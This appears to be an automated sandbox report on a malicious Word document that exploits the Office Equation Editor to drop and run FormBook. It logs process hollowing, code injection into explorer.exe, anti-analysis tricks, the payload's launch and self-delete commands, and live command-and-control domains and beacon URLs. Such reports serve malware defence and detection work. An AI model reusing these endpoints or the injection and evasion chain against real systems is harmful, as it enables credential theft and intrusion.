Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Windows\SysWOW64\notepad.exe RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\notepad.exe RDTSC instruction interceptor: First address: 0000000000409B7E second address: 0000000000409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\ipconfig.exe RDTSC instruction interceptor: First address: 0000000000089904 second address: 000000000008990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\ipconfig.exe RDTSC instruction interceptor: First address: 0000000000089B7E second address: 0000000000089B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 772 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe TID: 2524 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\ipconfig.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\Client.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00409AB0 rdtsc 9_2_00409AB0
Source: C:\Users\user\AppData\Local\Temp\Client.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: explorer.exe, 0000000A.00000000.1032772942.00000000043F0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 0000000A.00000000.996254060.0000000008636000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: explorer.exe, 0000000A.00000000.996254060.0000000008636000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000d-dv
Source: explorer.exe, 0000000A.00000000.1006904830.000000000434F000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: scsi\disk&ven_vmware&prod_virtual_disk\5&22be343f&0&000000
Source: explorer.exe, 0000000A.00000000.1027538105.000000000037B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.08tp
Source: explorer.exe, 0000000A.00000000.1007549733.0000000004423000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000A.00000000.1032772942.00000000043F0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: v6nel\5&35c44269e\cdromnvmware_sata_
Source: explorer.exe, 0000000A.00000000.1006904830.000000000434F000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0Q
Source: explorer.exe, 0000000A.00000000.954363521.0000000000335000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}(
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00AB26F8 mov eax, dword ptr fs:[00000030h] 9_2_00AB26F8
Checks if the current process is being debugged
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process queried: DebugPort Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\notepad.exe Code function: 9_2_00409AB0 rdtsc 9_2_00409AB0
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process token adjusted: Debug Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\Client.exe Code function: 6_2_004D33F8 LdrLoadDll, 6_2_004D33F8
Source: C:\Users\user\AppData\Local\Temp\Client.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.best-boy.net
Source: C:\Windows\explorer.exe Network Connect: 104.167.67.175 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 66.235.200.170 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.thegoldencamel.online
Maps a DLL or memory area into another process
Source: C:\Windows\SysWOW64\notepad.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe Section loaded: unknown target: C:\Windows\SysWOW64\ipconfig.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe Section loaded: unknown target: C:\Windows\SysWOW64\ipconfig.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\Client.exe Memory written: C:\Windows\SysWOW64\notepad.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a thread in another existing process (thread injection)
Source: C:\Users\user\AppData\Local\Temp\Client.exe Thread created: C:\Windows\SysWOW64\notepad.exe EIP: 75554977 Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Local\Temp\Client.exe Section unmapped: C:\Windows\SysWOW64\notepad.exe base address: 400000 Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe Section unmapped: C:\Windows\SysWOW64\ipconfig.exe base address: 370000 Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\AppData\Local\Temp\Client.exe Memory written: C:\Windows\SysWOW64\notepad.exe base: 400000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Memory written: C:\Windows\SysWOW64\notepad.exe base: 401000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Memory written: C:\Windows\SysWOW64\notepad.exe base: 7EFDE008 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Memory written: C:\Windows\SysWOW64\notepad.exe base: 80000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Memory written: C:\Windows\SysWOW64\notepad.exe base: 77A7975D Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\notepad.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\notepad.exe Thread register set: target process: 1860 Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe Thread register set: target process: 1860 Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Thread register set: target process: 1860 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\cmd.exe CmD.exe /C %tmp%\Client.exe A C Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\Client.exe C:\Users\user\AppData\Local\Temp\Client.exe A C Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Process created: C:\Windows\SysWOW64\notepad.exe C:\Windows\SysWOW64\notepad.exe /Processid:{2BA893A4-E786-4AE6-9111-3506DE199247} Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\notepad.exe" Jump to behavior
Source: explorer.exe, 0000000A.00000000.956257017.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000A.00000000.1002025010.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000A.00000000.1027938385.0000000000830000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000A.00000000.956257017.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000A.00000000.1002025010.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000A.00000000.1027469570.0000000000335000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 0000000A.00000000.956257017.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000A.00000000.1002025010.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000A.00000000.1027938385.0000000000830000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager<
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Client.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 9.0.notepad.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.notepad.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.1043439197.0000000000150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.948702057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.947984971.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1175369847.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1043648372.00000000002C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.939194134.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.938868025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1043727096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1175496063.0000000000290000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.948326848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.958771208.0000000003666000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1175083933.0000000000080000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.987721089.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.1004582452.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 9.0.notepad.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.notepad.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.notepad.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.1043439197.0000000000150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.948702057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.947984971.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1175369847.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1043648372.00000000002C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.939194134.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.938868025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1043727096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1175496063.0000000000290000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.948326848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.958771208.0000000003666000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1175083933.0000000000080000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.987721089.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.1004582452.0000000002992000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 680528 Sample: SecuriteInfo.com.Exploit.Rt... Startdate: 08/08/2022 Architecture: WINDOWS Score: 100 46 Snort IDS alert for network traffic 2->46 48 Document contains OLE streams which likely are hidden ActiveX objects 2->48 50 Malicious sample detected (through community Yara rule) 2->50 52 14 other signatures 2->52 11 EQNEDT32.EXE 47 2->11         started        14 WINWORD.EXE 292 21 2->14         started        process3 file4 74 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 11->74 17 cmd.exe 11->17         started        34 C:\Users\user\AppData\Local\Temp\Client.exe, PE32 14->34 dropped 36 C:\Users\user\...\Client.exe:Zone.Identifier, ASCII 14->36 dropped 38 ~WRF{4F98E955-E40B...E-253D7E3CD6E7}.tmp, Composite 14->38 dropped 76 Document exploit detected (creates forbidden files) 14->76 signatures5 process6 process7 19 Client.exe 17->19         started        signatures8 54 Multi AV Scanner detection for dropped file 19->54 56 Machine Learning detection for dropped file 19->56 58 Writes to foreign memory regions 19->58 60 3 other signatures 19->60 22 notepad.exe 19->22         started        process9 signatures10 62 Modifies the context of a thread in another process (thread injection) 22->62 64 Maps a DLL or memory area into another process 22->64 66 Sample uses process hollowing technique 22->66 68 2 other signatures 22->68 25 explorer.exe 22->25 injected process11 dnsIp12 40 www.best-boy.net 104.167.67.175, 49172, 80 ESITEDUS United States 25->40 42 thegoldencamel.online 66.235.200.170, 49171, 80 CLOUDFLARENETUS United States 25->42 44 www.thegoldencamel.online 25->44 70 System process connects to network (likely due to code injection or exploit) 25->70 72 Uses ipconfig to lookup or modify the Windows network settings 25->72 29 ipconfig.exe 25->29         started        signatures13 process14 signatures15 78 Modifies the context of a thread in another process (thread injection) 29->78 80 Maps a DLL or memory area into another process 29->80 82 Tries to detect virtualization through RDTSC time measurements 29->82 32 cmd.exe 29->32         started        process16
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.167.67.175
 www.best-boy.net United States
22552 ESITEDUS true
66.235.200.170
 thegoldencamel.online United States
13335 CLOUDFLARENETUS true

Contacted Domains

Name IP Active
thegoldencamel.online 66.235.200.170 true
www.best-boy.net 104.167.67.175 true
www.thegoldencamel.online unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
www.lundadonate.xyz/nb30/ true
  • 1%, Virustotal, Browse
  • Avira URL Cloud: malware
 low
http://www.best-boy.net/nb30/?4hntpZ=WWLsvV61WazOGjhWPmK2zCox7nD1HU3ZrNfLe9lvYYokad8918qHb5Jmu9JsRIh/3onKEQ==&PPa=ApcXW2 true
  • Avira URL Cloud: safe
 unknown
http://www.thegoldencamel.online/nb30/?4hntpZ=HrFg7Zw77Q4AgN6xWDdwD99B0qzSSsTIjhXIVaLmDYdCsLEuJk5C8qRmA5PaAiVsBqYing==&PPa=ApcXW2 true
  • Avira URL Cloud: safe
 unknown